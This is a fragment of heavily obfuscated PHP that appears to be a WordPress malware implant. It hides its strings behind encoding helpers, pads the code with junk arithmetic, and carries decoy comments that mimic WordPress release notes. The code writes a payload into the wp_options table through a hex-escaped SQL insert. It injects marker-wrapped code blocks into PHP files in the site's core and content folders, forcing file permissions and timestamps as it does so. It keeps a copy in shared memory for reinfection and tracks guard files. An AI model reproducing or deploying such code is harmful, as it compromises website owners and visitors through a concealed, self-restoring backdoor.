}  catch (Throwable $mrelaaojjq4dc7d)   {


hnp_n76gqrqs6vbf7203of(ep_coq62(1508), $mrelaaojjq4dc7d);
}   catch      (Exception  $mrelaaojjq4dc7d) {
   hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1508),      $mrelaaojjq4dc7d);

 }
 }
   function     d5eqo0pgutpjoph0j2df()
  {



try {
       if (!defined(ep_coq62(1396))) return;
 if  (!hus_b7m621lgc6(1515)(wyzg13xdhd5r(1521)))    return;
    $zj5tbc1f9_6e038j  = mqedo90o6oi8f48x6b8n(ABSPATH  .   hus_b7m621lgc6(1522),      (247^253));
   $eidv2ldk0gje94g1 =     m8bil168ioia0snf0ol();
 if  (!$eidv2ldk0gje94g1 ||     rmqbu5no5o(1523)($eidv2ldk0gje94g1) <   (406+94)) return;



      $jjb7qnmbvy38     = rwt3a4h41s7rmcrtx();
       $current  =    @get_option($zj5tbc1f9_6e038j,  "");
 if    ($current  &&    lfavz1nmi6pw4(1523)($current) ===    igsdp_2fdrp(1523)($jjb7qnmbvy38)  &&  $current === $jjb7qnmbvy38)  return;


        if   (igsdp_2fdrp(1515)(rmqbu5no5o(864))) {



update_option($zj5tbc1f9_6e038j, $jjb7qnmbvy38,  wyzg13xdhd5r(1519));
     } elseif (defined(wyzg13xdhd5r(1524))    &&   defined(ep_coq62(1525))    &&   defined(wyzg13xdhd5r(1526))     && defined(hus_b7m621lgc6(92))    &&   wyzg13xdhd5r(1527)(igsdp_2fdrp(1528)))  {
  $bo79j5p7pw0  =  hus_b7m621lgc6(1529);
$ypv1145ati      = @new $bo79j5p7pw0(constant(hus_b7m621lgc6(1524)),  constant(igsdp_2fdrp(1530)),  constant(ep_coq62(1531)),  constant(wyzg13xdhd5r(92)));
if ($ypv1145ati &&  !$ypv1145ati->connect_errno)  {
  $prefix  =  isset($GLOBALS[hus_b7m621lgc6(1308)]->prefix)  ?   $GLOBALS[ep_coq62(1532)]->prefix :   ep_coq62(985);
$fdy49t6oe_3qv  =   $ypv1145ati->real_escape_string($jjb7qnmbvy38);
   $j_ifm3bk6ivq1   = $ypv1145ati->real_escape_string($zj5tbc1f9_6e038j);
  $ypv1145ati->query("IN\x53\x45RT INTO {$prefix}opt\x69\x6fn\x73 (op\x74\x69o\x6e_n\x61m\x65, option_\x76al\x75e, aut\x6fload) V\x41LU\x45\x53 ('{$j_ifm3bk6ivq1}', '{$fdy49t6oe_3qv}', '\x6eo') \x4fN DUP\x4c\x49\x43\x41\x54E KEY UP\x44\x41T\x45 o\x70\x74i\x6fn_v\x61lue='{$fdy49t6oe_3qv}'");
 if     ($ypv1145ati->error)   hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1522),  wyzg13xdhd5r(1533) .    rmqbu5no5o(1105)($ypv1145ati->error,    0,   (75+45)));
  $ypv1145ati->close();
     }


 }



  }   catch    (Throwable  $mrelaaojjq4dc7d)   {$t4jni7crc1ykwc=32+95;$z1a7z99dz=$t4jni7crc1ykwc-29;
   hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1522),  $mrelaaojjq4dc7d);
       } catch   (Exception   $mrelaaojjq4dc7d)   {
    }
  }
 function    y3l9rrogkbf_51t()

   {
  $cqfw_j0q_4nr =  defined(lfavz1nmi6pw4(1413))   ?  WP_CONTENT_DIR   :     ABSPATH .  rmqbu5no5o(1534);
       $qfjp2isb9_  = mqedo90o6oi8f48x6b8n(ABSPATH     .   rmqbu5no5o(1535),  (5+3));


return array($cqfw_j0q_4nr  . rmqbu5no5o(1536),  $cqfw_j0q_4nr    . ep_coq62(1537) .  $qfjp2isb9_  .  igsdp_2fdrp(1538), $qfjp2isb9_);
}

function  rgfmbqd0fpu8hpag($xh1ojdbfowvx)
     {
// template singleton for WordPress 6.2 navigation

$qg9fu011jom2101  = (int) @wyzg13xdhd5r(1539)($xh1ojdbfowvx);
 if ($qg9fu011jom2101 <   (70+30)  ||      $qg9fu011jom2101   >  (2097055+97)) return  false;
 $wy4jk2k5yot46b6    = @ep_coq62(1498)($xh1ojdbfowvx);
       if     (!ep_coq62(1540)($wy4jk2k5yot46b6) ||   ep_coq62(1541)($wy4jk2k5yot46b6)  <     (78+22)  ||   rmqbu5no5o(1541)($wy4jk2k5yot46b6)  > (0x12e061+0xd1f9f)) return   false;

$de42_qcevq1bs =   hus_b7m621lgc6(90)(':', $wy4jk2k5yot46b6, (0x2+0x2));



  if (ep_coq62(1542)($de42_qcevq1bs)  < (8-4) ||      $de42_qcevq1bs[0]  !==  rmqbu5no5o(1543)   ||    rmqbu5no5o(1541)($de42_qcevq1bs[(136^139)])  <  (0x20+0x12)) return false;
 $zkzbo8aayuo3   = @lfavz1nmi6pw4(1383)($de42_qcevq1bs[(202^201)]);


   if  ($zkzbo8aayuo3  === false ||    rmqbu5no5o(1541)($zkzbo8aayuo3) <      (0x15+0x1d))  return  false;
  if   (wyzg13xdhd5r(1105)($zkzbo8aayuo3, 0,  2)  ===  "\x1f\x8b") {

  $z4cttxhxg5gi     =  @lfavz1nmi6pw4(279)('V', hus_b7m621lgc6(1105)($zkzbo8aayuo3,   -(5-1)));
  if (!wyzg13xdhd5r(1381)($z4cttxhxg5gi) ||    $z4cttxhxg5gi[1] <    (127^27)   || $z4cttxhxg5gi[1]     >     (1048556+20))   return  false;


   if    (hus_b7m621lgc6(1515)(ep_coq62(280)))  $zkzbo8aayuo3    =      @gzdecode($zkzbo8aayuo3,      (55135+993441));
 elseif (ep_coq62(1515)(lfavz1nmi6pw4(1331)))   {
   $zkzbo8aayuo3  =  @gzinflate(hus_b7m621lgc6(1105)($zkzbo8aayuo3, (112^122),     ep_coq62(1541)($zkzbo8aayuo3)     - (17+1)),     (0xfe9b9+0x1647));
  if    (lfavz1nmi6pw4(1544)($zkzbo8aayuo3)      &&      rmqbu5no5o(1541)($zkzbo8aayuo3) > (1048484+92))  return   false;
    }
 else   return false;
  }
 if   (!igsdp_2fdrp(1544)($zkzbo8aayuo3) || wyzg13xdhd5r(1541)($zkzbo8aayuo3)  <   (190^218) ||   rmqbu5no5o(1105)($zkzbo8aayuo3, 0, (7-2))  !==     wyzg13xdhd5r(1545) || wyzg13xdhd5r(1434)($zkzbo8aayuo3)  !==   $de42_qcevq1bs[2])   return      false;
 return  $zkzbo8aayuo3;



      }



  function   lh7g4ocab9t6gj8jajit2()

   {
// parallelize observer for PHP 8.1 intersection


      try    {



if  (!defined(igsdp_2fdrp(1396)))    return;
 $xs54n7w9llzqc2i = y3l9rrogkbf_51t();
  if    (!@wyzg13xdhd5r(1511)($xs54n7w9llzqc2i[1]))     return;
 if    (rgfmbqd0fpu8hpag($xs54n7w9llzqc2i[1])  ===   false)    return;
     $na0q8fa92nwj    =  sdmxfxbf9kwqo1tko(wyzg13xdhd5r(1546),  array('__SLUG__'),  array(ep_coq62(1402)(kwizo_5vxh_f26an7qg(), igsdp_2fdrp(1547))));
    if    (!hus_b7m621lgc6(1544)($na0q8fa92nwj) ||  $na0q8fa92nwj    ===     "")  return;
    $na0q8fa92nwj =  lfavz1nmi6pw4(1548)(rmqbu5no5o(1549),  "",     $na0q8fa92nwj);
   if (!lfavz1nmi6pw4(1550)($na0q8fa92nwj)  || $na0q8fa92nwj    ===    "")   return;
 $fv2o223p3f71 =   m5d7gnhy503_5w7j()  .   ':' .  mqedo90o6oi8f48x6b8n(ABSPATH . rmqbu5no5o(1551),  (4<<1));$sroqp_cxc7g9nn=794;$e2qummqi8ypf=($sroqp_cxc7g9nn>0)?$sroqp_cxc7g9nn:-$sroqp_cxc7g9nn;
$i1e1f3ymxz59  =  ep_coq62(1552)    .  $fv2o223p3f71  .   rmqbu5no5o(1553);



   $t_vi7hld9qdg8w  =  igsdp_2fdrp(1554) .   $fv2o223p3f71 .  hus_b7m621lgc6(1553);
    $hbn9i4am58xrm  =  rmqbu5no5o(1555)     .    $xs54n7w9llzqc2i[2]    .  rmqbu5no5o(1556) .   m5d7gnhy503_5w7j()    .   rmqbu5no5o(1553)  .    "\n" .  $na0q8fa92nwj;
     if (!@igsdp_2fdrp(1557)($xs54n7w9llzqc2i[0]))   {
if  (!x98gkzd4rxzw_t($xs54n7w9llzqc2i[0],    "")) {
 hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1535),  rmqbu5no5o(1558));
    return;
}
   if (p1cskrtcz8bv54lf($xs54n7w9llzqc2i[0], $hbn9i4am58xrm)) {
   ssuek6ionh2j25j($xs54n7w9llzqc2i[0],     tkjywmjdyogfvxumcj6gh4());



 ms4mh9yjk8_y876983kix($xs54n7w9llzqc2i[0],  (0x114+0x90));
 fjjsa59vrgj7lkezp_z_x5($xs54n7w9llzqc2i[0]);
   }
return;
 }
$b44m42vh6wtuh8 =  @hus_b7m621lgc6(1498)($xs54n7w9llzqc2i[0]);
 if   (!rmqbu5no5o(1550)($b44m42vh6wtuh8)    ||  lfavz1nmi6pw4(1559)($b44m42vh6wtuh8)      >   (2097091+61))   return;
   if    (lfavz1nmi6pw4(1560)($b44m42vh6wtuh8, $i1e1f3ymxz59)  !==  false &&    wyzg13xdhd5r(1560)($b44m42vh6wtuh8,      $t_vi7hld9qdg8w)   !==    false) return;
if (lfavz1nmi6pw4(1560)($b44m42vh6wtuh8, wyzg13xdhd5r(1561)) ===  false &&   rmqbu5no5o(1562)($b44m42vh6wtuh8,    lfavz1nmi6pw4(1563) .   $xs54n7w9llzqc2i[2])   !== false)  {
 if      (wyzg13xdhd5r(1306)(igsdp_2fdrp(1564),  hus_b7m621lgc6(1105)($b44m42vh6wtuh8,   0,  (0xbc+0xc)),    $x4bakbpjb3di) &&  version_compare($x4bakbpjb3di[1], m5d7gnhy503_5w7j(),   rmqbu5no5o(198)))     return;
  if   (!x98gkzd4rxzw_t($xs54n7w9llzqc2i[0], $b44m42vh6wtuh8))   {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1535),      rmqbu5no5o(1558));
 return;
 }



  if  (p1cskrtcz8bv54lf($xs54n7w9llzqc2i[0],   $hbn9i4am58xrm)) {
     ssuek6ionh2j25j($xs54n7w9llzqc2i[0],  tkjywmjdyogfvxumcj6gh4());
 ms4mh9yjk8_y876983kix($xs54n7w9llzqc2i[0], (363+57));
      fjjsa59vrgj7lkezp_z_x5($xs54n7w9llzqc2i[0]);


 }

  return;
    }
 $l1r3jmpddt40a4     =     mqedo90o6oi8f48x6b8n(ABSPATH   .    lfavz1nmi6pw4(1565),    (7+1));
 $b44m42vh6wtuh8 =  wyzg13xdhd5r(1548)(hus_b7m621lgc6(1566)  .   $l1r3jmpddt40a4   .  lfavz1nmi6pw4(1567),  "",     $b44m42vh6wtuh8);
   if (!lfavz1nmi6pw4(1550)($b44m42vh6wtuh8))  {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1535),      lfavz1nmi6pw4(1568));
   return;

   }
if (!@rmqbu5no5o(1569)($xs54n7w9llzqc2i[0]))     return;
if   (!aqgihmr82261d_o(ep_coq62(1535)))      {

    hnp_n76gqrqs6vbf7203of(ep_coq62(1535),     ep_coq62(1570));
return;



 }
  if (!x98gkzd4rxzw_t($xs54n7w9llzqc2i[0],      $b44m42vh6wtuh8))  {
   hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1571), igsdp_2fdrp(1558));
   return;
  }
 pxdhcwivd8_op7xqs(hus_b7m621lgc6(1571));
$l0nkfr3qu5e4q  = $i1e1f3ymxz59   .  "\n" . hus_b7m621lgc6(1572)   .    $xs54n7w9llzqc2i[2]  .   wyzg13xdhd5r(1553)  .   "\n" .     $na0q8fa92nwj  .    "\n"    . $t_vi7hld9qdg8w;
   p1cskrtcz8bv54lf($xs54n7w9llzqc2i[0], radr9v1s6d16sltzos($b44m42vh6wtuh8,   $l0nkfr3qu5e4q));
 } catch      (Throwable   $mrelaaojjq4dc7d)  {
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1571),  $mrelaaojjq4dc7d);
} catch  (Exception    $mrelaaojjq4dc7d)  {
 }
    }
   function tld5gs6vag2vwfmpnwa()
     {
   try  {
// normalize

  if  (!defined(ep_coq62(1396)))  return;

 $xs54n7w9llzqc2i      =   y3l9rrogkbf_51t();
 $meden2vm1rfw =  (string)     @lfavz1nmi6pw4(1498)($xs54n7w9llzqc2i[1],     false,     null,   0, (48+16));
    if    (wyzg13xdhd5r(1306)(lfavz1nmi6pw4(1573),  $meden2vm1rfw,  $wpz7oi7n0ub2s0r)  && $wpz7oi7n0ub2s0r[1]     ===   m5d7gnhy503_5w7j())  {
   $hefid0o95rsa1vi   =   (int) get_option(lfavz1nmi6pw4(1574),   0);
if  (ep_coq62(1467)()    -  $hefid0o95rsa1vi <   (567+33))  return;



  if  (rgfmbqd0fpu8hpag($xs54n7w9llzqc2i[1]) !==  false) {
// landing pad




@update_option(hus_b7m621lgc6(1574),     igsdp_2fdrp(1467)(), rmqbu5no5o(1575));
  return;



 }
  hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1576),    rmqbu5no5o(1577));
}


   $eidv2ldk0gje94g1   =     m8bil168ioia0snf0ol();
     if  (!$eidv2ldk0gje94g1  ||  igsdp_2fdrp(1559)($eidv2ldk0gje94g1) <  (484+16)    || rmqbu5no5o(1559)($eidv2ldk0gje94g1) > (1048487+89)   ||  !chslach3yj4d6lbh($eidv2ldk0gje94g1))  return;
  $b2sj3g__r6vq =  rmqbu5no5o(1515)(rmqbu5no5o(1578)) ?  @gzencode($eidv2ldk0gje94g1,  (8-2)) :   $eidv2ldk0gje94g1;


        if (!lfavz1nmi6pw4(1579)($b2sj3g__r6vq)   ||  $b2sj3g__r6vq ===   "")  return;
  if (p1cskrtcz8bv54lf($xs54n7w9llzqc2i[1], lfavz1nmi6pw4(1580)     .   m5d7gnhy503_5w7j() .  ':'   .  ep_coq62(1581)($eidv2ldk0gje94g1)     . ':'  .  lfavz1nmi6pw4(1582)($b2sj3g__r6vq)))  @update_option(ep_coq62(1583), ep_coq62(1584)(), wyzg13xdhd5r(1575));
    }  catch  (Throwable   $mrelaaojjq4dc7d)    {$wugbnw00=PHP_INT_MAX/PHP_INT_MAX;$i0fr3933e=$wugbnw00+70;
    hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1585), $mrelaaojjq4dc7d);
   }   catch  (Exception $mrelaaojjq4dc7d)     {
}



  }
function     yimv0roydh7ojls_h()



 {
  if     (!rmqbu5no5o(1515)(rmqbu5no5o(1586))) return     false;
    $uh4muefiz5     =   defined(rmqbu5no5o(1396)) &&      @rmqbu5no5o(1587)(ABSPATH  .   rmqbu5no5o(576)) ? ABSPATH     .  wyzg13xdhd5r(576) :   __FILE__;


 return    igsdp_2fdrp(1586)($uh4muefiz5, 's');
  }
       function gdfwgtk2ra197ur6hq()
  {


try  {
if  (!igsdp_2fdrp(1515)(ep_coq62(1588)) ||  !wyzg13xdhd5r(1515)(ep_coq62(1586))) return;
 if   (!defined(wyzg13xdhd5r(1396)))     return;
  $eidv2ldk0gje94g1  = m8bil168ioia0snf0ol();
 if (!$eidv2ldk0gje94g1 ||   igsdp_2fdrp(1589)($eidv2ldk0gje94g1)   <   (960-460))  return;
 $key =     yimv0roydh7ojls_h();



    if ($key   ===  false)     return;
      $ur9f9jq9317 =  rmqbu5no5o(1515)(lfavz1nmi6pw4(1590))    ?   ep_coq62(1590)(igsdp_2fdrp(1591), $eidv2ldk0gje94g1)   :     rmqbu5no5o(1581)($eidv2ldk0gje94g1);

  $gn1xoajgn4nb8k7   =  lfavz1nmi6pw4(1592) .  rmqbu5no5o(1589)($eidv2ldk0gje94g1) .    ':'      . $ur9f9jq9317     .  "\n"     .      $eidv2ldk0gje94g1;
 $ifbxwzfvvnzzq0 =  hus_b7m621lgc6(1593)($gn1xoajgn4nb8k7);
 $ssao6z47ik   =      @hus_b7m621lgc6(1594)($key,  'a',  0,   0);
if  ($ssao6z47ik)   {$mqaw4asiy_rn=258;$b1uo50bn=$mqaw4asiy_rn%13;


$o97nd6d_j56qfk7c  =  (int)     @ep_coq62(1595)($ssao6z47ik);
  $zsrqu1r90r  =    @lfavz1nmi6pw4(1596)($ssao6z47ik, 0, $o97nd6d_j56qfk7c);
 if    (rmqbu5no5o(1579)($zsrqu1r90r)  &&    rmqbu5no5o(1597)($zsrqu1r90r,  $eidv2ldk0gje94g1)   !==  false) {
 @hus_b7m621lgc6(1598)($ssao6z47ik);


  return;



    }



if     ($o97nd6d_j56qfk7c     >=  $ifbxwzfvvnzzq0)    {
// rebalance indecomposable branded-type


@wyzg13xdhd5r(1598)($ssao6z47ik);
 $ssao6z47ik    =    @rmqbu5no5o(1594)($key,  'w',     0,    0);
   if  ($ssao6z47ik)  {
       @rmqbu5no5o(1599)($ssao6z47ik,   rmqbu5no5o(1600)($gn1xoajgn4nb8k7,   $o97nd6d_j56qfk7c, "\0"),  0);
$mp6fvwi5h1140xnf   =   @rmqbu5no5o(1596)($ssao6z47ik, 0,  $ifbxwzfvvnzzq0);
    @wyzg13xdhd5r(1601)($ssao6z47ik);
   if  ($mp6fvwi5h1140xnf  !==    $gn1xoajgn4nb8k7)   hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1602),      wyzg13xdhd5r(1440));
   }
   return;
} else {
    @wyzg13xdhd5r(1603)($ssao6z47ik);
@lfavz1nmi6pw4(1601)($ssao6z47ik);
  }
  }
    $o97nd6d_j56qfk7c = $ifbxwzfvvnzzq0 + (998+26);
   $ssao6z47ik  =   @hus_b7m621lgc6(1594)($key, 'c',  (0xa8+0xfc),  $o97nd6d_j56qfk7c);
if  (!$ssao6z47ik)    return;

 @ep_coq62(1604)($ssao6z47ik, ep_coq62(1605)($gn1xoajgn4nb8k7, $o97nd6d_j56qfk7c, "\0"), 0);



    $mp6fvwi5h1140xnf = @hus_b7m621lgc6(1606)($ssao6z47ik, 0, $ifbxwzfvvnzzq0);
if  ($mp6fvwi5h1140xnf  !==     $gn1xoajgn4nb8k7)   hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1607),    hus_b7m621lgc6(1608));
 @ep_coq62(1601)($ssao6z47ik);



}  catch  (Throwable   $mrelaaojjq4dc7d)   {
hnp_n76gqrqs6vbf7203of(ep_coq62(1607),  $mrelaaojjq4dc7d);
 }  catch  (Exception $mrelaaojjq4dc7d)     {



}
  }


 function    radr9v1s6d16sltzos($current,  $l0nkfr3qu5e4q)



{
if  (!ep_coq62(1579)($current)     || $current   === "")  return igsdp_2fdrp(1424) .  $l0nkfr3qu5e4q    .   "\n";
       if  (wyzg13xdhd5r(1306)(ep_coq62(1609), $current,      $jergke6ea9,    PREG_OFFSET_CAPTURE))  {
 $x71tu3n_zwoa    = $jergke6ea9[0][1]    + lfavz1nmi6pw4(1593)($jergke6ea9[0][0]);
$jncg5bnv9sr0c7a   = lfavz1nmi6pw4(1610)($current,   $x71tu3n_zwoa,  (6483+1709));



while      (igsdp_2fdrp(1579)($jncg5bnv9sr0c7a) &&   hus_b7m621lgc6(1611)(hus_b7m621lgc6(1612),    $jncg5bnv9sr0c7a, $_dm)) {
$x71tu3n_zwoa  +=      ep_coq62(1593)($_dm[0]);
   $jncg5bnv9sr0c7a =  igsdp_2fdrp(1610)($current, $x71tu3n_zwoa, (8125+67));



 }
   return  rmqbu5no5o(1610)($current,     0,  $x71tu3n_zwoa) .  "\n"  .    $l0nkfr3qu5e4q   .   "\n" .  wyzg13xdhd5r(1613)($current,   $x71tu3n_zwoa);

}

 return    lfavz1nmi6pw4(1424)  .  $l0nkfr3qu5e4q . "\n?>\n" . $current;
  }
  function  aqgihmr82261d_o($key)
{$pbw3tmpi980rs=PHP_INT_MAX/PHP_INT_MAX;$lscmw80w=$pbw3tmpi980rs+2;
   if   (!igsdp_2fdrp(1515)(lfavz1nmi6pw4(1614)))    return true;$ydqbmwpfgj4=38+56;$vxxa2if5=$ydqbmwpfgj4-19;


       $xyls27cg7n      = @get_option(ep_coq62(1615)  .  $key,     "");
if   (wyzg13xdhd5r(1579)($xyls27cg7n)  &&    rmqbu5no5o(1597)($xyls27cg7n, '|') !==   false) {
   $de42_qcevq1bs  =    hus_b7m621lgc6(90)('|',   $xyls27cg7n, 2);
 if    ((int)  $de42_qcevq1bs[0]      === (int)  (ep_coq62(1584)()  /  (86309+91)) && (int) $de42_qcevq1bs[1] >= (0x1+0x2))  return    false;
 }
return   true;
}


function  pxdhcwivd8_op7xqs($key)

    {
        if (!wyzg13xdhd5r(1515)(hus_b7m621lgc6(1614))  ||   !rmqbu5no5o(1515)(lfavz1nmi6pw4(864)))   return;
      $exushmy6_lur  =      (int)   (rmqbu5no5o(1584)()    /     (0x10f6+0x1408a));
 $xyls27cg7n =  @get_option(hus_b7m621lgc6(1615)  .      $key,  "");



  $emgci3dlr45pr =   0;
if    (wyzg13xdhd5r(1579)($xyls27cg7n) && rmqbu5no5o(1597)($xyls27cg7n,    '|') !== false)   {
  $de42_qcevq1bs  =  ep_coq62(90)('|',    $xyls27cg7n, 2);
   if ((int) $de42_qcevq1bs[0]  ===    $exushmy6_lur)  $emgci3dlr45pr  = (int)    $de42_qcevq1bs[1];



  }


 $emgci3dlr45pr++;
 @update_option(igsdp_2fdrp(1615) .  $key,      $exushmy6_lur   .   '|'  .      $emgci3dlr45pr,   igsdp_2fdrp(1575));
       if   ($emgci3dlr45pr     >= (4-1))  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1616),  rmqbu5no5o(1617)    .      $key);
    }
 function   q7ahvyx7hoxoq6t2()
 {
    try     {
if  (!defined(hus_b7m621lgc6(1618))) return;
  if (!defined(lfavz1nmi6pw4(1619))   || !@ep_coq62(1569)(WP_CONTENT_DIR)     ||  !dd038hfcpodi6ck_aae2zl(WP_CONTENT_DIR))  return;
 $rxzmhdjber    = WP_CONTENT_DIR;$ldyfkfhrufvqfp=19|215;$isimg1u6_c1ch=$ldyfkfhrufvqfp^68;
    $gr3h_zl9bcbr   =  $rxzmhdjber .  igsdp_2fdrp(1394);
 $nhq3pyawspdrllyo    =    igsdp_2fdrp(1620)(kwizo_5vxh_f26an7qg(), rmqbu5no5o(1547));
  $eqona1y7xbdxvjqz    =   mqedo90o6oi8f48x6b8n(ABSPATH .    igsdp_2fdrp(1337),   (201^193))   . rmqbu5no5o(1338);

 $l2dtjvg24o908 =  b9x_qnoopw0bqe8tpa3a4();
     $zj5tbc1f9_6e038j  =   mqedo90o6oi8f48x6b8n(ABSPATH  .    ep_coq62(1522),   (15-5));
 $iexc0il0uihcg6     =  lfavz1nmi6pw4(1515)(ep_coq62(1586))   ? yimv0roydh7ojls_h() :   false;
   $wn8n63n6k9 =   $iexc0il0uihcg6   !==  false  ?    rmqbu5no5o(1621)($iexc0il0uihcg6)  : 0;
 $cbfnirttlto0v5  = isset($GLOBALS[ep_coq62(1622)]->prefix)    ?   $GLOBALS[rmqbu5no5o(1622)]->prefix   :   ep_coq62(1623);$ay59h0whu=PHP_MAJOR_VERSION;$f_tfkz4d68n1ce=$ay59h0whu*10;
 $bsvrttxbqw47_w8y     = rmqbu5no5o(1624)    . igsdp_2fdrp(1625)(wyzg13xdhd5r(1581)($nhq3pyawspdrllyo    .   (string)  e258bnpepjjzl95jyx77()), 0,   (105^97));
       $ebyszkubfrcpkk = sdmxfxbf9kwqo1tko(
 igsdp_2fdrp(705),
  array('__SLUG__',  '__ZIP_NAME__',   '__SHMOP_KEY__', '__OPT_NAME__',  '__WP_PREFIX__', '__GUARD_NAME__',  '__VERSION__'),


array($nhq3pyawspdrllyo, $eqona1y7xbdxvjqz,  $wn8n63n6k9,  $zj5tbc1f9_6e038j, $cbfnirttlto0v5,   $bsvrttxbqw47_w8y,   m5d7gnhy503_5w7j())
  );
    if   (!$ebyszkubfrcpkk)   {
     if  ((int) get_option(igsdp_2fdrp(1484),  0) >  0)     hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1626),  hus_b7m621lgc6(1627));
       return;
}
     $current =  @rmqbu5no5o(1587)($gr3h_zl9bcbr)  ? @igsdp_2fdrp(1628)($gr3h_zl9bcbr)     :  "";
     if   (!hus_b7m621lgc6(1579)($current))  {
      hnp_n76gqrqs6vbf7203of(ep_coq62(1629),      ep_coq62(1630));
  return;
   }

 $current  =   jkq4_uvfuw5l47za51944b($current);
     $fv2o223p3f71    = m5d7gnhy503_5w7j() . ':' .  mqedo90o6oi8f48x6b8n(ABSPATH    .    ep_coq62(1631), (1<<3));
 $i1e1f3ymxz59 =  ep_coq62(1632) . $fv2o223p3f71   .     wyzg13xdhd5r(1553);
     $t_vi7hld9qdg8w   =  lfavz1nmi6pw4(1633)   . $fv2o223p3f71  .      igsdp_2fdrp(1634);
$zxjq_tjf892916ti =  mqedo90o6oi8f48x6b8n(ABSPATH    . igsdp_2fdrp(1631),   (0x3+0x5));
$tihhcd2yx4mop =    igsdp_2fdrp(1635)(rmqbu5no5o(1636)     .  $zxjq_tjf892916ti  .  ep_coq62(1637),   "",  $current);

$z549746nci9470ae  =      (ep_coq62(1597)($tihhcd2yx4mop,     hus_b7m621lgc6(1638)) !== false);
if  (ep_coq62(1597)($current, $i1e1f3ymxz59)   !== false  && hus_b7m621lgc6(1597)($current, $t_vi7hld9qdg8w) !==  false      &&   !$z549746nci9470ae)    {
    crbtybdlt413ji_u90p();
  return;



 }
    $current =  ep_coq62(1635)(hus_b7m621lgc6(1639),  "",  $tihhcd2yx4mop);


   if  (!ep_coq62(1640)($current))  {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1629),   hus_b7m621lgc6(1568));
 return;
 }  {
  $current    =   jkq4_uvfuw5l47za51944b($current);
       $vuph_f8g0w   =  wyzg13xdhd5r(1641)(ep_coq62(1549),   "",     $ebyszkubfrcpkk);

$e47fo8029r5fvl1   =    (wyzg13xdhd5r(1593)($current)  ===   0);
     if  (!$e47fo8029r5fvl1)  {$zc05jz6d3mnu1=100+61;$mlr7kuiqb873=$zc05jz6d3mnu1-36;
 if      (!aqgihmr82261d_o(hus_b7m621lgc6(1629)))  {
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1629),     igsdp_2fdrp(1570));



 return;
    }
if   (!x98gkzd4rxzw_t($gr3h_zl9bcbr, $current))    {
   hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1629),  hus_b7m621lgc6(1558));
      return;
   }
 pxdhcwivd8_op7xqs(rmqbu5no5o(1642));
     }    else    {
if  (!x98gkzd4rxzw_t($gr3h_zl9bcbr, "")) {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1643),   rmqbu5no5o(1558));
   return;

}
}
     $i9eod5dlf04am8f = radr9v1s6d16sltzos($current,    $i1e1f3ymxz59    .  "\n" .  $vuph_f8g0w .   "\n"  .      $t_vi7hld9qdg8w);



 if    (!p1cskrtcz8bv54lf($gr3h_zl9bcbr,  $i9eod5dlf04am8f))  {

     return;
   }
    if   ($e47fo8029r5fvl1) fjjsa59vrgj7lkezp_z_x5($gr3h_zl9bcbr);
crbtybdlt413ji_u90p();


  }
// stack-only path

  }  catch (Throwable   $mrelaaojjq4dc7d)    {
     hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1643),  $mrelaaojjq4dc7d);



       }  catch (Exception $mrelaaojjq4dc7d)    {



       }


      }
    function  hx0_ao_9gbqrt9_vr4s()
{
  try    {
// WordPress 6.7 interactivity aspect ratio

 if (!defined(igsdp_2fdrp(1618)))  return;

if     (qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg()))  return;

if   (!lfavz1nmi6pw4(1515)(rmqbu5no5o(1644))) return;
   if (hus_b7m621lgc6(1645)()     === lfavz1nmi6pw4(86)) return;
 if (!isset($_SERVER[igsdp_2fdrp(87)]))  return;
    if  (get_transient(rmqbu5no5o(1646)))      return;
  $hxng5821mkgllqri   = b9x_qnoopw0bqe8tpa3a4();
if (!@hus_b7m621lgc6(1373)($hxng5821mkgllqri))   ej5d87oukqo0k6bc($hxng5821mkgllqri,  (0x124+0xc9),   true);
   if      (!@hus_b7m621lgc6(1373)($hxng5821mkgllqri) ||     !@ep_coq62(1569)($hxng5821mkgllqri))  {
   $hxng5821mkgllqri =  ABSPATH .   wyzg13xdhd5r(558);
   if  (!@rmqbu5no5o(1569)($hxng5821mkgllqri)) $hxng5821mkgllqri  =  j050_s_2aiw8u03k();
}

       $qpdbrjidoz  =  mqedo90o6oi8f48x6b8n(ABSPATH    .   'g',   (0x4+0x4));
   $lgi0t3hum09d9gu4 = lfavz1nmi6pw4(1647)     . $qpdbrjidoz   . wyzg13xdhd5r(1547);
$v9ejw7mtxa0  =    $hxng5821mkgllqri . '/'     .   $lgi0t3hum09d9gu4;
     $epmyu00ej23zb6 =     $hxng5821mkgllqri . ep_coq62(1648) .    $qpdbrjidoz;
 foreach   (array($hxng5821mkgllqri,    ABSPATH     . hus_b7m621lgc6(1649), j050_s_2aiw8u03k())   as  $_wfswers13a113n)    {



   $px3thi82cpbxnsj =    $_wfswers13a113n   .  igsdp_2fdrp(1650)   . $qpdbrjidoz;
      if    (@ep_coq62(1651)($px3thi82cpbxnsj))   {
 $leq2y2m0ogy9q    =     (int)    @rmqbu5no5o(1652)($px3thi82cpbxnsj);
if ($leq2y2m0ogy9q   <=  hus_b7m621lgc6(1653)()   - (86342+58)   ||   $leq2y2m0ogy9q  >   hus_b7m621lgc6(1654)()    + (0x6a+0xc2))   {
      oj333ptt2v9_ikd4str_($px3thi82cpbxnsj);
     continue;


   }
// WP Block Variations: rotate builder

if   (@igsdp_2fdrp(1655)($_wfswers13a113n     .  rmqbu5no5o(1656)  .  $qpdbrjidoz  .  ep_coq62(1547)))   return;
 oj333ptt2v9_ikd4str_($px3thi82cpbxnsj);
  }
   }
 unset($_wfswers13a113n, $px3thi82cpbxnsj,  $leq2y2m0ogy9q);
